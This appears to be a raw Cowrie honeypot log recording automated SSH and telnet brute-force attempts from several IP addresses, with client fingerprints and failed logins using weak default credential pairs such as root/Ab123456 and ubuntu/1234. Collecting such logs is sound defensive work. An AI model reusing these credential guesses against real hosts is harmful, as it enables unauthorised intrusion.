{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:18.296846Z","src_ip":"45.156.87.204","session":"113028d1352c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:18.621383Z","src_ip":"45.156.87.204","session":"113028d1352c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:19.707143Z","src_ip":"45.156.87.204","session":"113028d1352c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:20.470977Z","src_ip":"47.237.167.49","session":"659d1d89534d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.626824855804443,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:21.058556Z","src_ip":"152.42.224.71","session":"148c7d23718f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:21.704428Z","src_ip":"47.237.167.49","session":"659d1d89534d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"874aef8ca5df","protocol":"ssh","message":"New connection: 45.156.87.204:45438 (159.203.135.109:22) [session: 874aef8ca5df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:21.910761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:22.051686Z","src_ip":"45.156.87.204","session":"874aef8ca5df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:22.055869Z","src_ip":"45.156.87.204","session":"874aef8ca5df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59022,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87a5d223edc","protocol":"telnet","message":"New connection: 152.42.224.71:59022 (10.17.0.5:23) [session: b87a5d223edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:22.237661Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:22.440213Z","src_ip":"45.156.87.204","session":"874aef8ca5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.01278614997864,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:22.671252Z","src_ip":"152.42.224.71","session":"1bca2759a806","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:23.527413Z","src_ip":"45.156.87.204","session":"874aef8ca5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.01389193534851,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:25.746356Z","src_ip":"152.42.224.71","session":"655d3a350220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57682,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5e919dd67d","protocol":"ssh","message":"New connection: 45.156.87.204:57682 (159.203.135.109:22) [session: 1f5e919dd67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:25.771259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:25.776344Z","src_ip":"45.156.87.204","session":"1f5e919dd67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:25.858789Z","src_ip":"45.156.87.204","session":"1f5e919dd67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:26.106029Z","src_ip":"45.156.87.204","session":"1f5e919dd67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:27.192189Z","src_ip":"45.156.87.204","session":"1f5e919dd67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.29411721229553,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:27.274681Z","src_ip":"152.42.224.71","session":"51123cd086eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57688,"dst_ip":"159.203.135.109","dst_port":22,"session":"71b8e13c4114","protocol":"ssh","message":"New connection: 45.156.87.204:57688 (159.203.135.109:22) [session: 71b8e13c4114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:29.328450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:29.332892Z","src_ip":"45.156.87.204","session":"71b8e13c4114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:29.417925Z","src_ip":"45.156.87.204","session":"71b8e13c4114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:29.670539Z","src_ip":"45.156.87.204","session":"71b8e13c4114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":30572,"dst_ip":"10.17.0.5","dst_port":22,"session":"feccff105731","protocol":"ssh","message":"New connection: 206.212.242.68:30572 (10.17.0.5:22) [session: feccff105731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.215560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.220602Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.232863Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:10:2d:c8:5f:f1:8f:cc:77:fd:90:5b:93:08:1b:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtBLiowpp3dxDtvJ274tN3hEcZAYNloBqUCLdMZmWiTMHcbgI4SActFm0lYaNHj7iSAiyYbVXR5oeArz65ZtmH3ok9j7hfQ1rY5xbZquwfMxP/nppLeCtKKQ9b8paIwlR4kqVj/WZZMGiom3ONL1QJD5d/KnSoHPljSCGEImBcidAgKHYejuSEceA/qbIOv2YxkIhyVG1C/iN3HJ67o0g45qJ4DJzXsnaZsgCBsSbkdiP2l2fYJ4dOhEL51i9j15zNJPiywUDAvL8FN/PIjB62Ks/jL4QIlvKDl3AK4DZVcEUbYu+pjtmps8HbTVI2CPihdzcBQUnND3JO+uYe1CkD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:10:2d:c8:5f:f1:8f:cc:77:fd:90:5b:93:08:1b:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.274572Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:10:2d:c8:5f:f1:8f:cc:77:fd:90:5b:93:08:1b:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtBLiowpp3dxDtvJ274tN3hEcZAYNloBqUCLdMZmWiTMHcbgI4SActFm0lYaNHj7iSAiyYbVXR5oeArz65ZtmH3ok9j7hfQ1rY5xbZquwfMxP/nppLeCtKKQ9b8paIwlR4kqVj/WZZMGiom3ONL1QJD5d/KnSoHPljSCGEImBcidAgKHYejuSEceA/qbIOv2YxkIhyVG1C/iN3HJ67o0g45qJ4DJzXsnaZsgCBsSbkdiP2l2fYJ4dOhEL51i9j15zNJPiywUDAvL8FN/PIjB62Ks/jL4QIlvKDl3AK4DZVcEUbYu+pjtmps8HbTVI2CPihdzcBQUnND3JO+uYe1CkD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.277625Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:04:9a:13:e4:d6:de:7a:95:b9:0c:f8:56:e4:9d:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMiC1UrF1eLChZ7zk7nWF5R7yOIXOoBt7y0+9PtTset7RprC5xxhhNnMZ5ajgazGcD1ViryuYR3Oo8oXOJLFkFyaWqi2WPeRFvFko0JXKEDn1+rquPzWse82sM0dFR/AZnZUXBKxWTbQ51JiflwcR3J+ybyrFNvmepA9KYjqZG5kdWRxZNN6K+eTimh2e2GGL1CCvMmOPWw9MHZVP8haalHuZmNHD+sR/2FbiU4bWEXMFiOCCf9jRaRllIiTyg2CRUWU0zojisqZOTO0VWr0p9JGGNjfBMvaBC+l28iP7cELbRJ6A7yDvnDUcf0frmy418lh5lNKVikpyVGtCVp/bV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:04:9a:13:e4:d6:de:7a:95:b9:0c:f8:56:e4:9d:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.290814Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:04:9a:13:e4:d6:de:7a:95:b9:0c:f8:56:e4:9d:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMiC1UrF1eLChZ7zk7nWF5R7yOIXOoBt7y0+9PtTset7RprC5xxhhNnMZ5ajgazGcD1ViryuYR3Oo8oXOJLFkFyaWqi2WPeRFvFko0JXKEDn1+rquPzWse82sM0dFR/AZnZUXBKxWTbQ51JiflwcR3J+ybyrFNvmepA9KYjqZG5kdWRxZNN6K+eTimh2e2GGL1CCvMmOPWw9MHZVP8haalHuZmNHD+sR/2FbiU4bWEXMFiOCCf9jRaRllIiTyg2CRUWU0zojisqZOTO0VWr0p9JGGNjfBMvaBC+l28iP7cELbRJ6A7yDvnDUcf0frmy418lh5lNKVikpyVGtCVp/bV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.295342Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:d8:02:7f:6c:aa:c5:3a:47:f7:7d:f6:3c:c8:a2:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/fgCHoOkvIpIZ1Gq8oc060t1R8MzThEZPQizKNjEr5nRvenFfTHYgy4jn30bxkunmEL7FTHh6rDnLlDAIxINPZD6RBU3ylo+kpGHWT6zRbkwymQn+T9qzfqkK0R5XkY6iiEj8+5py4/uVddFgCieFeH3n1tXJMzB3yziMh5Yvq1CPU8ckGDJpyzO5WCgCBvjnOW8Ucsro2+Bs761L4mMv+i/zHzRDZMFgHWnsInsUfHb+vdC9IevRUUP5x7J+CkG7ppaI/1ag8xUjf+sqq46eEUT/svpbawm5hOt06w8IOQq2di6cqyRR9RNujj8o+M6ymgI6mRinAJAjVVj12pN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:d8:02:7f:6c:aa:c5:3a:47:f7:7d:f6:3c:c8:a2:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.308119Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:d8:02:7f:6c:aa:c5:3a:47:f7:7d:f6:3c:c8:a2:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/fgCHoOkvIpIZ1Gq8oc060t1R8MzThEZPQizKNjEr5nRvenFfTHYgy4jn30bxkunmEL7FTHh6rDnLlDAIxINPZD6RBU3ylo+kpGHWT6zRbkwymQn+T9qzfqkK0R5XkY6iiEj8+5py4/uVddFgCieFeH3n1tXJMzB3yziMh5Yvq1CPU8ckGDJpyzO5WCgCBvjnOW8Ucsro2+Bs761L4mMv+i/zHzRDZMFgHWnsInsUfHb+vdC9IevRUUP5x7J+CkG7ppaI/1ag8xUjf+sqq46eEUT/svpbawm5hOt06w8IOQq2di6cqyRR9RNujj8o+M6ymgI6mRinAJAjVVj12pN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.311429Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:d0:2a:1b:53:99:50:17:2f:e2:59:d4:6d:55:6d:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuuwCLe2bMqZhQJNNt83ysXHsnCw+UNb8K6qpbTVZtt4ARJDzFTr5W3CGg9wxES77KeqrGAatvHWmBIQA3qmwiq1r1ECp9tUKA71JE9ram5bQ6CFtPRzhAdBOj9nJ/70xHHoBRKtmuXgdk1ypuZsBUHn/7CVb6AI/8QDj9HRxZWrg5NnLjeXlXnfOJw+k+lJL8OcOx1AWD3wvmr6k2d8F6hjEWCzu/qjJYe/6Pfku+QKuDbtmGFDRotAbC9x6wR3UnWicEUrx7thYUs7ct7sY13sV/UustO2x/mPtoWOcRn6JTyElVt8KPFpmk6YsRF3AQeSX+j6UwKhfoToHCEXN0IW9fNhJBKYwNElYLEPWD1BogxkCJm6zIOhcGGsm7cOxbQ6CvcXYOPxpZ4v5Shk25kl5kOQ4hoGE/VsNRObtIjbVgg2xm+zuaWdLdvokwFKvSGqHOgWwXcBVEkzSFIDkAglJTgm2gH66mkfsT5tUPbRuNRme2fMkQte7i0mvN4MsOKpYiflOTx/rmLi7lfu+OpBgi1PCsIAFrbhw90Ut7nzNgNNlHn6k22beb0HNt7zD2nVbscQEKC9TPdZNYKNWASO6kUzVsJ8TGbwnBMpH6sfeviqf+/+DOnN7i1msygcLjHp83dQ8h7KjsaQaphitahaM9zZ38ZF7s6fB3pAgYrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:d0:2a:1b:53:99:50:17:2f:e2:59:d4:6d:55:6d:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.324093Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:d0:2a:1b:53:99:50:17:2f:e2:59:d4:6d:55:6d:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuuwCLe2bMqZhQJNNt83ysXHsnCw+UNb8K6qpbTVZtt4ARJDzFTr5W3CGg9wxES77KeqrGAatvHWmBIQA3qmwiq1r1ECp9tUKA71JE9ram5bQ6CFtPRzhAdBOj9nJ/70xHHoBRKtmuXgdk1ypuZsBUHn/7CVb6AI/8QDj9HRxZWrg5NnLjeXlXnfOJw+k+lJL8OcOx1AWD3wvmr6k2d8F6hjEWCzu/qjJYe/6Pfku+QKuDbtmGFDRotAbC9x6wR3UnWicEUrx7thYUs7ct7sY13sV/UustO2x/mPtoWOcRn6JTyElVt8KPFpmk6YsRF3AQeSX+j6UwKhfoToHCEXN0IW9fNhJBKYwNElYLEPWD1BogxkCJm6zIOhcGGsm7cOxbQ6CvcXYOPxpZ4v5Shk25kl5kOQ4hoGE/VsNRObtIjbVgg2xm+zuaWdLdvokwFKvSGqHOgWwXcBVEkzSFIDkAglJTgm2gH66mkfsT5tUPbRuNRme2fMkQte7i0mvN4MsOKpYiflOTx/rmLi7lfu+OpBgi1PCsIAFrbhw90Ut7nzNgNNlHn6k22beb0HNt7zD2nVbscQEKC9TPdZNYKNWASO6kUzVsJ8TGbwnBMpH6sfeviqf+/+DOnN7i1msygcLjHp83dQ8h7KjsaQaphitahaM9zZ38ZF7s6fB3pAgYrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:52:30.327363Z","src_ip":"206.212.242.68","session":"feccff105731","protocol":"ssh"}
